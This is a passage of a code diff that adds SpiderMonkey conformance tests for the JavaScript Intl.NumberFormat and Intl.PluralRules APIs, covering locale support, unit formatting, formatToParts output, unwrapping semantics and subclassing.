+ "kk-Cyrl-KZ",
+ "km",
+ "km-KH",
+ "kn",
+ "kn-IN",
+ "ko",
+ "ko-KP",
+ "ko-KR",
+ "lt",
+ "lt-LT",
+ "lv",
+ "lv-LV",
+ "mk",
+ "mk-MK",
+ "ml",
+ "ml-IN",
+ "mr",
+ "mr-IN",
+ "nb",
+ "nb-NO",
+ "nl",
+ "nl-AW",
+ "nl-BE",
+ "nl-CW",
+ "nl-NL",
+ "nl-SR",
+ "nl-SX",
+ "nn",
+ "nn-NO",
+ "or",
+ "or-IN",
+ "pa",
+ "pa-Arab",
+ "pa-Arab-PK",
+ "pa-Guru",
+ "pa-Guru-IN",
+ "pl",
+ "pl-PL",
+ "pt",
+ "pt-AO",
+ "pt-BR",
+ "pt-CV",
+ "pt-GW",
+ "pt-MO",
+ "pt-MZ",
+ "pt-PT",
+ "pt-ST",
+ "pt-TL",
+ "rm",
+ "rm-CH",
+ "ro",
+ "ro-MD",
+ "ro-RO",
+ "ru",
+ "ru-BY",
+ "ru-KG",
+ "ru-KZ",
+ "ru-MD",
+ "ru-RU",
+ "ru-UA",
+ "si",
+ "si-LK",
+ "sk",
+ "sk-SK",
+ "sl",
+ "sl-SI",
+ "sq",
+ "sq-AL",
+ "sq-MK",
+ "sr",
+ "sr-Cyrl",
+ "sr-Cyrl-BA",
+ "sr-Cyrl-ME",
+ "sr-Cyrl-RS",
+ "sr-Latn",
+ "sr-Latn-BA",
+ "sr-Latn-ME",
+ "sr-Latn-RS",
+ "sv",
+ "sv-AX",
+ "sv-FI",
+ "sv-SE",
+ "te",
+ "te-IN",
+ "th",
+ "th-TH",
+ "tr",
+ "tr-CY",
+ "tr-TR",
+ "uk",
+ "uk-UA",
+ "vi",
+ "vi-VN",
+ "zh",
+ "zh-Hans",
+ "zh-Hans-CN",
+ "zh-Hans-HK",
+ "zh-Hans-MO",
+ "zh-Hans-SG",
+ "zh-Hant",
+ "zh-Hant-HK",
+ "zh-Hant-MO",
+ "zh-Hant-TW",
+];
+
+var count = Intl.NumberFormat.supportedLocalesOf(locales).length;
+
+reportCompare(locales.length, count, "Number of supported locales in Intl.NumberFormat");
diff --git a/js/src/tests/non262/Intl/NumberFormat/toStringTag.js b/js/src/tests/non262/Intl/NumberFormat/toStringTag.js
new file mode 100644
index 0000000000..9ad0901a0b
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/toStringTag.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var desc = Object.getOwnPropertyDescriptor(Intl.NumberFormat.prototype, Symbol.toStringTag);
+
+assertEq(desc !== undefined, true);
+assertEq(desc.value, "Intl.NumberFormat");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(Object.prototype.toString.call(Intl.NumberFormat.prototype), "[object Intl.NumberFormat]");
+assertEq(Object.prototype.toString.call(new Intl.NumberFormat), "[object Intl.NumberFormat]");
+
+Object.defineProperty(Intl.NumberFormat.prototype, Symbol.toStringTag, {value: "NumberFormat"});
+
+assertEq(Object.prototype.toString.call(Intl.NumberFormat.prototype), "[object NumberFormat]");
+assertEq(Object.prototype.toString.call(new Intl.NumberFormat), "[object NumberFormat]");
+
+delete Intl.NumberFormat.prototype[Symbol.toStringTag];
+
+assertEq(Object.prototype.toString.call(Intl.NumberFormat.prototype), "[object Object]");
+assertEq(Object.prototype.toString.call(new Intl.NumberFormat), "[object Object]");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/unit-compound-combinations.js b/js/src/tests/non262/Intl/NumberFormat/unit-compound-combinations.js
new file mode 100644
index 0000000000..5160d08d74
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/unit-compound-combinations.js
@@ -0,0 +1,63 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+
+const sanctionedSimpleUnitIdentifiers = [
+ "acre",
+ "bit",
+ "byte",
+ "celsius",
+ "centimeter",
+ "day",
+ "degree",
+ "fahrenheit",
+ "fluid-ounce",
+ "foot",
+ "gallon",
+ "gigabit",
+ "gigabyte",
+ "gram",
+ "hectare",
+ "hour",
+ "inch",
+ "kilobit",
+ "kilobyte",
+ "kilogram",
+ "kilometer",
+ "liter",
+ "megabit",
+ "megabyte",
+ "meter",
+ "mile",
+ "mile-scandinavian",
+ "milliliter",
+ "millimeter",
+ "millisecond",
+ "minute",
+ "month",
+ "ounce",
+ "percent",
+ "petabyte",
+ "pound",
+ "second",
+ "stone",
+ "terabit",
+ "terabyte",
+ "week",
+ "yard",
+ "year"
+];
+
+// Test all simple unit identifier combinations are allowed.
+
+for (const numerator of sanctionedSimpleUnitIdentifiers) {
+ for (const denominator of sanctionedSimpleUnitIdentifiers) {
+ const unit = `${numerator}-per-${denominator}`;
+ const nf = new Intl.NumberFormat("en", {style: "unit", unit});
+
+ assertEq(nf.format(1), nf.formatToParts(1).map(p => p.value).join(""));
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/unit-formatToParts-has-unit-field.js b/js/src/tests/non262/Intl/NumberFormat/unit-formatToParts-has-unit-field.js
new file mode 100644
index 0000000000..fc433711e7
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/unit-formatToParts-has-unit-field.js
@@ -0,0 +1,88 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+
+const sanctionedSimpleUnitIdentifiers = [
+ "acre",
+ "bit",
+ "byte",
+ "celsius",
+ "centimeter",
+ "day",
+ "degree",
+ "fahrenheit",
+ "fluid-ounce",
+ "foot",
+ "gallon",
+ "gigabit",
+ "gigabyte",
+ "gram",
+ "hectare",
+ "hour",
+ "inch",
+ "kilobit",
+ "kilobyte",
+ "kilogram",
+ "kilometer",
+ "liter",
+ "megabit",
+ "megabyte",
+ "meter",
+ "mile",
+ "mile-scandinavian",
+ "milliliter",
+ "millimeter",
+ "millisecond",
+ "minute",
+ "month",
+ "ounce",
+ "percent",
+ "petabyte",
+ "pound",
+ "second",
+ "stone",
+ "terabit",
+ "terabyte",
+ "week",
+ "yard",
+ "year"
+];
+
+// Test only English and Chinese to keep the overall runtime reasonable.
+//
+// Chinese is included because it contains more than one "unit" element for
+// certain unit combinations.
+const locales = ["en", "zh"];
+
+// Plural rules for English only differentiate between "one" and "other". Plural
+// rules for Chinese only use "other". That means we only need to test two values
+// per unit.
+const values = [0, 1];
+
+// Ensure unit formatters contain at least one "unit" element.
+
+for (const locale of locales) {
+ for (const unit of sanctionedSimpleUnitIdentifiers) {
+ const nf = new Intl.NumberFormat(locale, {style: "unit", unit});
+
+ for (const value of values) {
+ assertEq(nf.formatToParts(value).some(e => e.type === "unit"), true,
+ `locale=${locale}, unit=${unit}`);
+ }
+ }
+
+ for (const numerator of sanctionedSimpleUnitIdentifiers) {
+ for (const denominator of sanctionedSimpleUnitIdentifiers) {
+ const unit = `${numerator}-per-${denominator}`;
+ const nf = new Intl.NumberFormat(locale, {style: "unit", unit});
+
+ for (const value of values) {
+ assertEq(nf.formatToParts(value).some(e => e.type === "unit"), true,
+ `locale=${locale}, unit=${unit}`);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/unit-well-formed.js b/js/src/tests/non262/Intl/NumberFormat/unit-well-formed.js
new file mode 100644
index 0000000000..ec1ab4beda
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/unit-well-formed.js
@@ -0,0 +1,250 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+
+const sanctionedSimpleUnitIdentifiers = [
+ "acre",
+ "bit",
+ "byte",
+ "celsius",
+ "centimeter",
+ "day",
+ "degree",
+ "fahrenheit",
+ "fluid-ounce",
+ "foot",
+ "gallon",
+ "gigabit",
+ "gigabyte",
+ "gram",
+ "hectare",
+ "hour",
+ "inch",
+ "kilobit",
+ "kilobyte",
+ "kilogram",
+ "kilometer",
+ "liter",
+ "megabit",
+ "megabyte",
+ "meter",
+ "mile",
+ "mile-scandinavian",
+ "milliliter",
+ "millimeter",
+ "millisecond",
+ "minute",
+ "month",
+ "ounce",
+ "percent",
+ "petabyte",
+ "pound",
+ "second",
+ "stone",
+ "terabit",
+ "terabyte",
+ "week",
+ "yard",
+ "year"
+];
+
+const allUnits = [
+ "acceleration-g-force",
+ "acceleration-meter-per-square-second",
+ "angle-arc-minute",
+ "angle-arc-second",
+ "angle-degree",
+ "angle-radian",
+ "angle-revolution",
+ "area-acre",
+ "area-dunam",
+ "area-hectare",
+ "area-square-centimeter",
+ "area-square-foot",
+ "area-square-inch",
+ "area-square-kilometer",
+ "area-square-meter",
+ "area-square-mile",
+ "area-square-yard",
+ "concentr-karat",
+ "concentr-milligram-per-deciliter",
+ "concentr-millimole-per-liter",
+ "concentr-mole",
+ "concentr-percent",
+ "concentr-permille",
+ "concentr-permillion",
+ "concentr-permyriad",
+ "consumption-liter-per-100-kilometer",
+ "consumption-liter-per-kilometer",
+ "consumption-mile-per-gallon",
+ "consumption-mile-per-gallon-imperial",
+ "digital-bit",
+ "digital-byte",
+ "digital-gigabit",
+ "digital-gigabyte",
+ "digital-kilobit",
+ "digital-kilobyte",
+ "digital-megabit",
+ "digital-megabyte",
+ "digital-petabyte",
+ "digital-terabit",
+ "digital-terabyte",
+ "duration-century",
+ "duration-day",
+ "duration-day-person",
+ "duration-decade",
+ "duration-hour",
+ "duration-microsecond",
+ "duration-millisecond",
+ "duration-minute",
+ "duration-month",
+ "duration-month-person",
+ "duration-nanosecond",
+ "duration-second",
+ "duration-week",
+ "duration-week-person",
+ "duration-year",
+ "duration-year-person",
+ "electric-ampere",
+ "electric-milliampere",
+ "electric-ohm",
+ "electric-volt",
+ "energy-british-thermal-unit",
+ "energy-calorie",
+ "energy-electronvolt",
+ "energy-foodcalorie",
+ "energy-joule",
+ "energy-kilocalorie",
+ "energy-kilojoule",
+ "energy-kilowatt-hour",
+ "energy-therm-us",
+ "force-newton",
+ "force-pound-force",
+ "frequency-gigahertz",
+ "frequency-hertz",
+ "frequency-kilohertz",
+ "frequency-megahertz",
+ "graphics-dot-per-centimeter",
+ "graphics-dot-per-inch",
+ "graphics-em",
+ "graphics-megapixel",
+ "graphics-pixel",
+ "graphics-pixel-per-centimeter",
+ "graphics-pixel-per-inch",
+ "length-astronomical-unit",
+ "length-centimeter",
+ "length-decimeter",
+ "length-fathom",
+ "length-foot",
+ "length-furlong",
+ "length-inch",
+ "length-kilometer",
+ "length-light-year",
+ "length-meter",
+ "length-micrometer",
+ "length-mile",
+ "length-mile-scandinavian",
+ "length-millimeter",
+ "length-nanometer",
+ "length-nautical-mile",
+ "length-parsec",
+ "length-picometer",
+ "length-point",
+ "length-solar-radius",
+ "length-yard",
+ "light-lux",
+ "light-solar-luminosity",
+ "mass-carat",
+ "mass-dalton",
+ "mass-earth-mass",
+ "mass-gram",
+ "mass-kilogram",
+ "mass-metric-ton",
+ "mass-microgram",
+ "mass-milligram",
+ "mass-ounce",
+ "mass-ounce-troy",
+ "mass-pound",
+ "mass-solar-mass",
+ "mass-stone",
+ "mass-ton",
+ "power-gigawatt",
+ "power-horsepower",
+ "power-kilowatt",
+ "power-megawatt",
+ "power-milliwatt",
+ "power-watt",
+ "pressure-atmosphere",
+ "pressure-bar",
+ "pressure-hectopascal",
+ "pressure-inch-ofhg",
+ "pressure-kilopascal",
+ "pressure-megapascal",
+ "pressure-millibar",
+ "pressure-millimeter-ofhg",
+ "pressure-pascal",
+ "pressure-pound-force-per-square-inch",
+ "speed-kilometer-per-hour",
+ "speed-knot",
+ "speed-meter-per-second",
+ "speed-mile-per-hour",
+ "temperature-celsius",
+ "temperature-fahrenheit",
+ "temperature-generic",
+ "temperature-kelvin",
+ "torque-newton-meter",
+ "torque-pound-force-foot",
+ "volume-acre-foot",
+ "volume-barrel",
+ "volume-bushel",
+ "volume-centiliter",
+ "volume-cubic-centimeter",
+ "volume-cubic-foot",
+ "volume-cubic-inch",
+ "volume-cubic-kilometer",
+ "volume-cubic-meter",
+ "volume-cubic-mile",
+ "volume-cubic-yard",
+ "volume-cup",
+ "volume-cup-metric",
+ "volume-deciliter",
+ "volume-fluid-ounce",
+ "volume-fluid-ounce-imperial",
+ "volume-gallon",
+ "volume-gallon-imperial",
+ "volume-hectoliter",
+ "volume-liter",
+ "volume-megaliter",
+ "volume-milliliter",
+ "volume-pint",
+ "volume-pint-metric",
+ "volume-quart",
+ "volume-tablespoon",
+ "volume-teaspoon"
+];
+
+// Test only sanctioned unit identifiers are allowed.
+
+for (const typeAndUnit of allUnits) {
+ const [_, type, unit] = typeAndUnit.match(/(\w+)-(.+)/);
+
+ let allowed;
+ if (unit.includes("-per-")) {
+ const [numerator, denominator] = unit.split("-per-");
+ allowed = sanctionedSimpleUnitIdentifiers.includes(numerator) &&
+ sanctionedSimpleUnitIdentifiers.includes(denominator);
+ } else {
+ allowed = sanctionedSimpleUnitIdentifiers.includes(unit);
+ }
+
+ if (allowed) {
+ const nf = new Intl.NumberFormat("en", {style: "unit", unit});
+ assertEq(nf.format(1), nf.formatToParts(1).map(p => p.value).join(""));
+ } else {
+ assertThrowsInstanceOf(() => new Intl.NumberFormat("en", {style: "unit", unit}),
+ RangeError, `Missing error for "${typeAndUnit}"`);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/unit.js b/js/src/tests/non262/Intl/NumberFormat/unit.js
new file mode 100644
index 0000000000..7abc5142e0
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/unit.js
@@ -0,0 +1,104 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Nan, Inf, Integer, MinusSign, PlusSign, Literal,
+ Unit
+} = NumberFormatParts;
+
+const testcases = [
+ {
+ locale: "en",
+ options: {
+ style: "unit",
+ unit: "meter",
+ unitDisplay: "short",
+ },
+ values: [
+ {value: +0, string: "0 m", parts: [Integer("0"), Literal(" "), Unit("m")]},
+ {value: -0, string: "-0 m", parts: [MinusSign("-"), Integer("0"), Literal(" "), Unit("m")]},
+ {value: 0n, string: "0 m", parts: [Integer("0"), Literal(" "), Unit("m")]},
+
+ {value: 1, string: "1 m", parts: [Integer("1"), Literal(" "), Unit("m")]},
+ {value: -1, string: "-1 m", parts: [MinusSign("-"), Integer("1"), Literal(" "), Unit("m")]},
+ {value: 1n, string: "1 m", parts: [Integer("1"), Literal(" "), Unit("m")]},
+ {value: -1n, string: "-1 m", parts: [MinusSign("-"), Integer("1"), Literal(" "), Unit("m")]},
+
+ {value: Infinity, string: "∞ m", parts: [Inf("∞"), Literal(" "), Unit("m")]},
+ {value: -Infinity, string: "-∞ m", parts: [MinusSign("-"), Inf("∞"), Literal(" "), Unit("m")]},
+
+ {value: NaN, string: "NaN m", parts: [Nan("NaN"), Literal(" "), Unit("m")]},
+ {value: -NaN, string: "NaN m", parts: [Nan("NaN"), Literal(" "), Unit("m")]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ style: "unit",
+ unit: "meter",
+ unitDisplay: "narrow",
+ },
+ values: [
+ {value: +0, string: "0m", parts: [Integer("0"), Unit("m")]},
+ {value: -0, string: "-0m", parts: [MinusSign("-"), Integer("0"), Unit("m")]},
+ {value: 0n, string: "0m", parts: [Integer("0"), Unit("m")]},
+
+ {value: 1, string: "1m", parts: [Integer("1"), Unit("m")]},
+ {value: -1, string: "-1m", parts: [MinusSign("-"), Integer("1"), Unit("m")]},
+ {value: 1n, string: "1m", parts: [Integer("1"), Unit("m")]},
+ {value: -1n, string: "-1m", parts: [MinusSign("-"), Integer("1"), Unit("m")]},
+
+ {value: Infinity, string: "∞m", parts: [Inf("∞"), Unit("m")]},
+ {value: -Infinity, string: "-∞m", parts: [MinusSign("-"), Inf("∞"), Unit("m")]},
+
+ {value: NaN, string: "NaNm", parts: [Nan("NaN"), Unit("m")]},
+ {value: -NaN, string: "NaNm", parts: [Nan("NaN"), Unit("m")]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ style: "unit",
+ unit: "meter",
+ unitDisplay: "long",
+ },
+ values: [
+ {value: +0, string: "0 meters", parts: [Integer("0"), Literal(" "), Unit("meters")]},
+ {value: -0, string: "-0 meters", parts: [MinusSign("-"), Integer("0"), Literal(" "), Unit("meters")]},
+ {value: 0n, string: "0 meters", parts: [Integer("0"), Literal(" "), Unit("meters")]},
+
+ {value: 1, string: "1 meter", parts: [Integer("1"), Literal(" "), Unit("meter")]},
+ {value: -1, string: "-1 meter", parts: [MinusSign("-"), Integer("1"), Literal(" "), Unit("meter")]},
+ {value: 1n, string: "1 meter", parts: [Integer("1"), Literal(" "), Unit("meter")]},
+ {value: -1n, string: "-1 meter", parts: [MinusSign("-"), Integer("1"), Literal(" "), Unit("meter")]},
+
+ {value: Infinity, string: "∞ meters", parts: [Inf("∞"), Literal(" "), Unit("meters")]},
+ {value: -Infinity, string: "-∞ meters", parts: [MinusSign("-"), Inf("∞"), Literal(" "), Unit("meters")]},
+
+ {value: NaN, string: "NaN meters", parts: [Nan("NaN"), Literal(" "), Unit("meters")]},
+ {value: -NaN, string: "NaN meters", parts: [Nan("NaN"), Literal(" "), Unit("meters")]},
+ ],
+ },
+
+ // Ensure the correct compound unit is automatically selected by ICU. For
+ // example instead of "50 chilometri al orari", 50 km/h should return
+ // "50 chilometri orari" in Italian.
+
+ {
+ locale: "it",
+ options: {
+ style: "unit",
+ unit: "kilometer-per-hour",
+ unitDisplay: "long",
+ },
+ values: [
+ {value: 50, string: "50 chilometri orari", parts: [Integer("50"), Literal(" "), Unit("chilometri orari")]},
+ ],
+ },
+];
+
+runNumberFormattingTestcases(testcases);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/unwrapping.js b/js/src/tests/non262/Intl/NumberFormat/unwrapping.js
new file mode 100644
index 0000000000..7e66c43916
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/unwrapping.js
@@ -0,0 +1,247 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Test UnwrapNumberFormat operation.
+
+const numberFormatFunctions = [];
+numberFormatFunctions.push({
+ function: Intl.NumberFormat.prototype.resolvedOptions,
+ unwrap: true,
+});
+numberFormatFunctions.push({
+ function: Object.getOwnPropertyDescriptor(Intl.NumberFormat.prototype, "format").get,
+ unwrap: true,
+});
+numberFormatFunctions.push({
+ function: Intl.NumberFormat.prototype.formatToParts,
+ unwrap: false,
+});
+
+function IsIntlService(c) {
+ return typeof c === "function" &&
+ c.hasOwnProperty("prototype") &&
+ c.prototype.hasOwnProperty("resolvedOptions");
+}
+
+function IsObject(o) {
+ return Object(o) === o;
+}
+
+function IsPrimitive(o) {
+ return Object(o) !== o;
+}
+
+function intlObjects(ctor) {
+ let args = [];
+ if (ctor === Intl.DisplayNames) {
+ // Intl.DisplayNames can't be constructed without any arguments.
+ args = [undefined, {type: "language"}];
+ }
+
+ return [
+ // Instance of an Intl constructor.
+ new ctor(...args),
+
+ // Instance of a subclassed Intl constructor.
+ new class extends ctor {}(...args),
+
+ // Intl object not inheriting from its default prototype.
+ Object.setPrototypeOf(new ctor(...args), Object.prototype),
+ ];
+}
+
+function thisValues(C) {
+ const intlConstructors = Object.getOwnPropertyNames(Intl).map(name => Intl[name]).filter(IsIntlService);
+
+ return [
+ // Primitive values.
+ ...[undefined, null, true, "abc", Symbol(), 123],
+
+ // Object values.
+ ...[{}, [], /(?:)/, function(){}, new Proxy({}, {})],
+
+ // Intl objects.
+ ...[].concat(...intlConstructors.filter(ctor => ctor !== C).map(intlObjects)),
+
+ // Object inheriting from an Intl constructor prototype.
+ ...intlConstructors.map(ctor => Object.create(ctor.prototype)),
+ ];
+}
+
+const intlFallbackSymbol = Object.getOwnPropertySymbols(Intl.NumberFormat.call(Object.create(Intl.NumberFormat.prototype)))[0];
+
+// Test Intl.NumberFormat.prototype methods.
+for (let {function: numberFormatFunction, unwrap} of numberFormatFunctions) {
+ // Test a TypeError is thrown when the this-value isn't an initialized
+ // Intl.NumberFormat instance.
+ for (let thisValue of thisValues(Intl.NumberFormat)) {
+ assertThrowsInstanceOf(() => numberFormatFunction.call(thisValue), TypeError);
+ }
+
+ // And test no error is thrown for initialized Intl.NumberFormat instances.
+ for (let thisValue of intlObjects(Intl.NumberFormat)) {
+ numberFormatFunction.call(thisValue);
+ }
+
+ // Manually add [[FallbackSymbol]] to objects and then repeat the tests from above.
+ for (let thisValue of thisValues(Intl.NumberFormat)) {
+ assertThrowsInstanceOf(() => numberFormatFunction.call({
+ __proto__: Intl.NumberFormat.prototype,
+ [intlFallbackSymbol]: thisValue,
+ }), TypeError);
+ }
+
+ for (let thisValue of intlObjects(Intl.NumberFormat)) {
+ let obj = {
+ __proto__: Intl.NumberFormat.prototype,
+ [intlFallbackSymbol]: thisValue,
+ };
+ if (unwrap) {
+ numberFormatFunction.call(obj);
+ } else {
+ assertThrowsInstanceOf(() => numberFormatFunction.call(obj), TypeError);
+ }
+ }
+
+ // Ensure [[FallbackSymbol]] isn't retrieved for Intl.NumberFormat instances.
+ for (let thisValue of intlObjects(Intl.NumberFormat)) {
+ Object.defineProperty(thisValue, intlFallbackSymbol, {
+ get() { assertEq(false, true); }
+ });
+ numberFormatFunction.call(thisValue);
+ }
+
+ // Ensure [[FallbackSymbol]] is only retrieved for objects inheriting from Intl.NumberFormat.prototype.
+ for (let thisValue of thisValues(Intl.NumberFormat).filter(IsObject)) {
+ if (Intl.NumberFormat.prototype.isPrototypeOf(thisValue))
+ continue;
+ Object.defineProperty(thisValue, intlFallbackSymbol, {
+ get() { assertEq(false, true); }
+ });
+ assertThrowsInstanceOf(() => numberFormatFunction.call(thisValue), TypeError);
+ }
+
+ // Repeat the test from above, but also change Intl.NumberFormat[@@hasInstance]
+ // so it always returns |null|.
+ for (let thisValue of thisValues(Intl.NumberFormat).filter(IsObject)) {
+ let hasInstanceCalled = false, symbolGetterCalled = false;
+ Object.defineProperty(Intl.NumberFormat, Symbol.hasInstance, {
+ value() {
+ assertEq(hasInstanceCalled, false);
+ hasInstanceCalled = true;
+ return true;
+ }, configurable: true
+ });
+ Object.defineProperty(thisValue, intlFallbackSymbol, {
+ get() {
+ assertEq(symbolGetterCalled, false);
+ symbolGetterCalled = true;
+ return null;
+ }, configurable: true
+ });
+
+ assertThrowsInstanceOf(() => numberFormatFunction.call(thisValue), TypeError);
+
+ delete Intl.NumberFormat[Symbol.hasInstance];
+
+ assertEq(hasInstanceCalled, unwrap);
+ assertEq(symbolGetterCalled, unwrap);
+ }
+
+ // Test with primitive values.
+ for (let thisValue of thisValues(Intl.NumberFormat).filter(IsPrimitive)) {
+ // Ensure @@hasInstance is not called.
+ Object.defineProperty(Intl.NumberFormat, Symbol.hasInstance, {
+ value() { assertEq(true, false); }, configurable: true
+ });
+ let isUndefinedOrNull = thisValue === undefined || thisValue === null;
+ let symbolHolder;
+ if (!isUndefinedOrNull) {
+ // Ensure the fallback symbol isn't retrieved from the primitive wrapper prototype.
+ symbolHolder = Object.getPrototypeOf(thisValue);
+ Object.defineProperty(symbolHolder, intlFallbackSymbol, {
+ get() { assertEq(true, false); }, configurable: true
+ });
+ }
+
+ assertThrowsInstanceOf(() => numberFormatFunction.call(thisValue), TypeError);
+
+ delete Intl.NumberFormat[Symbol.hasInstance];
+ if (!isUndefinedOrNull)
+ delete symbolHolder[intlFallbackSymbol];
+ }
+}
+
+// Test format() returns the correct result for objects initialized as Intl.NumberFormat instances.
+{
+ // An actual Intl.NumberFormat instance.
+ let numberFormat = new Intl.NumberFormat();
+
+ // An object initialized as a NumberFormat instance.
+ let thisValue = Object.create(Intl.NumberFormat.prototype);
+ Intl.NumberFormat.call(thisValue);
+
+ // Object with [[FallbackSymbol]] set to NumberFormat instance.
+ let fakeObj = {
+ __proto__: Intl.NumberFormat.prototype,
+ [intlFallbackSymbol]: numberFormat,
+ };
+
+ for (let number of [0, 1, 1.5, Infinity, NaN]) {
+ let expected = numberFormat.format(number);
+ assertEq(thisValue.format(number), expected);
+ assertEq(thisValue[intlFallbackSymbol].format(number), expected);
+ assertEq(fakeObj.format(number), expected);
+ }
+}
+
+// Ensure formatToParts() doesn't use the fallback semantics.
+{
+ let formatToParts = Intl.NumberFormat.prototype.formatToParts;
+
+ // An object initialized as a NumberFormat instance.
+ let thisValue = Object.create(Intl.NumberFormat.prototype);
+ Intl.NumberFormat.call(thisValue);
+ assertThrowsInstanceOf(() => formatToParts.call(thisValue), TypeError);
+
+ // Object with [[FallbackSymbol]] set to NumberFormat instance.
+ let fakeObj = {
+ __proto__: Intl.NumberFormat.prototype,
+ [intlFallbackSymbol]: new Intl.NumberFormat(),
+ };
+ assertThrowsInstanceOf(() => formatToParts.call(fakeObj), TypeError);
+}
+
+// Test resolvedOptions() returns the same results.
+{
+ // An actual Intl.NumberFormat instance.
+ let numberFormat = new Intl.NumberFormat();
+
+ // An object initialized as a NumberFormat instance.
+ let thisValue = Object.create(Intl.NumberFormat.prototype);
+ Intl.NumberFormat.call(thisValue);
+
+ // Object with [[FallbackSymbol]] set to NumberFormat instance.
+ let fakeObj = {
+ __proto__: Intl.NumberFormat.prototype,
+ [intlFallbackSymbol]: numberFormat,
+ };
+
+ function assertEqOptions(actual, expected) {
+ actual = Object.entries(actual);
+ expected = Object.entries(expected);
+
+ assertEq(actual.length, expected.length, "options count mismatch");
+ for (var i = 0; i < expected.length; i++) {
+ assertEq(actual[i][0], expected[i][0], "key mismatch at " + i);
+ assertEq(actual[i][1], expected[i][1], "value mismatch at " + i);
+ }
+ }
+
+ let expected = numberFormat.resolvedOptions();
+ assertEqOptions(thisValue.resolvedOptions(), expected);
+ assertEqOptions(thisValue[intlFallbackSymbol].resolvedOptions(), expected);
+ assertEqOptions(fakeObj.resolvedOptions(), expected);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/PluralRules/browser.js b/js/src/tests/non262/Intl/PluralRules/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/browser.js
diff --git a/js/src/tests/non262/Intl/PluralRules/call.js b/js/src/tests/non262/Intl/PluralRules/call.js
new file mode 100644
index 0000000000..9412fa44d0
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/call.js
@@ -0,0 +1,53 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+function IsIntlService(c) {
+ return typeof c === "function" &&
+ c.hasOwnProperty("prototype") &&
+ c.prototype.hasOwnProperty("resolvedOptions");
+}
+
+function thisValues() {
+ const intlConstructors = Object.getOwnPropertyNames(Intl).map(name => Intl[name]).filter(IsIntlService);
+
+ return [
+ // Primitive values.
+ ...[undefined, null, true, "abc", Symbol(), 123],
+
+ // Object values.
+ ...[{}, [], /(?:)/, function(){}, new Proxy({}, {})],
+
+ // Intl objects.
+ ...[].concat(...intlConstructors.map(ctor => {
+ let args = [];
+ if (ctor === Intl.DisplayNames) {
+ // Intl.DisplayNames can't be constructed without any arguments.
+ args = [undefined, {type: "language"}];
+ }
+
+ return [
+ // Instance of an Intl constructor.
+ new ctor(...args),
+
+ // Instance of a subclassed Intl constructor.
+ new class extends ctor {}(...args),
+
+ // Object inheriting from an Intl constructor prototype.
+ Object.create(ctor.prototype),
+
+ // Intl object not inheriting from its default prototype.
+ Object.setPrototypeOf(new ctor(...args), Object.prototype),
+ ];
+ })),
+ ];
+}
+
+// Intl.PluralRules cannot be invoked as a function.
+assertThrowsInstanceOf(() => Intl.PluralRules(), TypeError);
+
+// Also test with explicit this-value.
+for (let thisValue of thisValues()) {
+ assertThrowsInstanceOf(() => Intl.PluralRules.call(thisValue), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/PluralRules/construct-newtarget.js b/js/src/tests/non262/Intl/PluralRules/construct-newtarget.js
new file mode 100644
index 0000000000..356c2dd221
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/construct-newtarget.js
@@ -0,0 +1,76 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Test subclassing %Intl.PluralRules% works correctly.
+class MyPluralRules extends Intl.PluralRules {}
+
+var obj = new MyPluralRules();
+assertEq(obj instanceof MyPluralRules, true);
+assertEq(obj instanceof Intl.PluralRules, true);
+assertEq(Object.getPrototypeOf(obj), MyPluralRules.prototype);
+
+obj = Reflect.construct(MyPluralRules, []);
+assertEq(obj instanceof MyPluralRules, true);
+assertEq(obj instanceof Intl.PluralRules, true);
+assertEq(Object.getPrototypeOf(obj), MyPluralRules.prototype);
+
+obj = Reflect.construct(MyPluralRules, [], MyPluralRules);
+assertEq(obj instanceof MyPluralRules, true);
+assertEq(obj instanceof Intl.PluralRules, true);
+assertEq(Object.getPrototypeOf(obj), MyPluralRules.prototype);
+
+obj = Reflect.construct(MyPluralRules, [], Intl.PluralRules);
+assertEq(obj instanceof MyPluralRules, false);
+assertEq(obj instanceof Intl.PluralRules, true);
+assertEq(Object.getPrototypeOf(obj), Intl.PluralRules.prototype);
+
+
